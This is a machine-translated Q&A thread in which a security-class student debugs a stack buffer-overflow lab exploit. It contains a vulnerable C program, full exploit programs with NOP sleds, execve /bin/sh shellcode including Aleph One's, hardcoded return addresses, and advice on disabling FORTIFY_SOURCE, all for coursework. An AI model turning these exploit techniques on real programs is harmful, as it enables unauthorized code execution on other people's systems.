2013-02-13 6 views
5

Тем не менее изучение этого материала с переполнением буфера для класса безопасности, я пытаюсь использовать эту уязвимость в этом приложении:переполнение буфера, как homeowrk

//vuln.c 
#include <stdio.h> 

int bof(char *str) 
{ 
    char buffer[12]; 

    //BO Vulnerability 
    strcpy(buffer,str); 

    return 1; 
} 

int main(int argc, char* argv[]) 
{ 
    char str[517]; 

    FILE *badfile; 
     badfile = fopen("badfile","r"); 

    fread(str, sizeof(char),517, badfile); 
    bof(str); 

    printf("Returned Properly\n"); 
    return 1; 
} 

Использование этого использовать приложение:

//exploit.c 
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

const char code[] = 
"\x31\xc0" 
"\x50" 
"\x68""//sh" 
"\x68""/bin" 
"\x89\xe3" 
"\x50" 
"\x53" 
"\x89\xe1" 
"\x99" 
"\xb0\x0b" 
"\xcd\x80" 
; 


int main(int argc, char* argv[]) 
{ 
    char buffer[517]; 
    char large_string[512]; 
    FILE *badfile; 
     badfile = fopen("./badfile", "w"); 

    //NOPslide 
    memset(&buffer,0x90,517); 

    //BEGIN FILL BUFFER 
     //from stack_smashing.pdf 
    long *long_ptr = (long *) large_string; 

    int i; 
    for (i = 0; i < 128; i++) 
     *(long_ptr + i) = (int) buffer; 

    for (i = 100; i < strlen(code)+100; i++) 
     large_string[i] = code[i]; 

    strcpy(buffer,large_string); 
    //END FILL BUFFER 

    //save buffer to badfile 
    fwrite(buffer,517,1,badfile); 
    fclose(badfile); 

    return 0; 
} 

Для по какой-то причине, когда я создаю badfile, запуская эксплойт, он ничего не нажимает на него. Либо буфер пуст, либо неправильно записывается. Я не могу найти свою ошибку, и после неустанного поиска в Google я не смог найти достаточного ответа. Из моего понимания кода буфера заполнения, который я использовал, он должен заполнить long_string адресом моего буфера, а затем поместить мой шеллкод в начало long_string (после некоторого слайда NOOP), а затем скопировать long_string обратно в буфер. Я действительно не вижу никаких проблем с этим или с помощью fwrite. Предложения?

+2

«badfile - fopen (« badfile »,« r »)' опечатка в коде или ваш пост? – ughoavgfhw

+0

Предполагая 'sizeof (long) == 4' (т. Е. 32-битная программа), код должен работать как есть. –

+2

Предполагая sizeof (long)> 4, код имеет переполнение буфера. – Sebastian

ответ

0

Ну, вам нужно понять, что на самом деле выполняет разбивка стека. Он в основном разбивает множество значений и перезаписывает конкретный адрес, который в основном является адресом указателя возврата в стеке ($ebp + 4). Вы определенно пытаетесь разбить стек, но есть тонны вещей, которые вам нужно сделать, чтобы точно понять, какой адрес вам нужно переопределить другим адресом, который указывает на ваш шеллкод.

http://www.phrack.com/issues.html?issue=49&id=14

В настоящее время не имеет работы какие-либо из этих двух вещей.

Вы должны использовать gdb или еще один инструмент для прохождения кода сборки действительного уязвимого кода и просмотра обратного адреса. Исходя из этого, вы пытаетесь разбить стек с помощью командной строки.

Затем вы запускаете свой код эксплойта, не разбивая стек. Попытайтесь зафиксировать фактический адрес возврата, который вы должны указывать на место, где вы устанавливаете шеллкод.

Вы должны следить за чтением на phrack, чтобы понять концепцию разбивания стека. Надеюсь, это поможет!

+0

Я прочитал большую часть этого, это то, где я вытащил циклы for, чтобы попытаться заполнить мой буфер. Я вернулся и завершил overflow2.c и overflow3.c с этой страницы. Я думаю, что я должен попытаться изменить код из overflow3.c для работы над моей проблемой, это хороший ход мыслей? –

+0

Вы можете это сделать. Но идея состоит в том, чтобы спроектировать ваш код и разбить стек так, чтобы вы меняли обратный адрес, когда функция возвращается из strcpy или какой-либо другой уязвимой функции. Но похоже, что вы сможете взломать этот. – p0lAris

+0

Вы можете тем не менее отметить ответ, если вы считаете, что получили его. Удачи. – p0lAris

0

В коде есть одна очень важная вещь. Я дам вам это, но я, вероятно, помогу вам, посмотрев на очень простую проблему переполнения буфера, которую я решил некоторое время назад.

Рассмотрите этот целевой код с помощью этой уязвимости - простое переполнение буфера.

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

int foo(char *arg) 
{ 
    char buf[200]; 
    strcpy(buf, arg); 
} 

int main(int argc, char *argv[]) 
{ 
    if (argc != 2) 
    { 
     fprintf(stderr, "target1: argc != 2\n"); 
     exit(EXIT_FAILURE); 
    } 
    foo(argv[1]); 
    return 0; 
} 

Ниже приводится код эксплойта:

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <unistd.h> 
#include "shellcode.h" 

#define TARGET "/tmp/target1" 

int main(void) 
{ 
    char arg1[215] = ""; 
    memset(arg1,'\x90', 215); 
    memcpy(arg1,shellcode,45); 

    //0xbffffd78 
    //0xbffffcb8 

    arg1[212] = '\x88'; 
    arg1[213] = '\xfc'; 
    arg1[214] = '\xff'; 
    arg1[215] = '\xbf'; 
    char *args[] = { TARGET, arg1, NULL }; 
    char *env[] = { NULL }; 

    if (0 > execve(TARGET, args, env)) 
     fprintf(stderr, "execve failed.\n"); 

    return 0; 
} 

Посмотрите, как я определяю свою цель и использовать его.

Кроме того, I'vent видел этот код оболочки раньше. Я использую один в следующем (Phrack):

/* 
* Aleph One shellcode. 
*/ 
static char shellcode[] = 
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

Проверьте это с вашим кодом и дайте мне знать, если это работает.

ТАКЖЕ:

strcpy(buffer,large_string); 

Дать это плохая практика, независимо от того, если вы принимаете large_string из стандартного ввода или нет.

+0

arg1 [215] = '\ xbf'; Не думайте, что это переполнение буфера (char arg1 [215] = "";) – Anshul

+0

Почему вы так думаете? – p0lAris

+0

Код оболочки был из моего задания, которое можно увидеть здесь (http://www.cis.syr.edu/~wedu/seed/Labs/Vulnerability/Buffer_Overflow/Buffer_Overflow.pdf). У меня были те же результаты, что и ваш предложенный шеллкод. В настоящее время я пытаюсь понять, что вы хотите, чтобы я видел из вашего exploit.c, но я не думаю, что вижу это. Я не понимаю ваше использование/tmp/target1, не должно ли это быть/bin/sh? Извините, это все еще очень ново для меня, и профессор/ТП не лучший, просто объясняя вещи. –

0
strcpy(buffer,large_string); 

Одна из вещей, которые нужно будет решить в ходе тестирования этот вызов функции.

FORTIFY_SOURCE использует «более безопасные» варианты функций высокого риска, такие как memcpy и strcpy. Компилятор использует более безопасные варианты, когда он может определить размер буфера назначения. Если копия превысит размер буфера назначения, программа вызовет abort().

Чтобы отключить FORTIFY_SOURCE для тестирования, вы должны скомпилировать программу с помощью -U_FORTIFY_SOURCE или -D_FORTIFY_SOURCE=0.

Смежные вопросы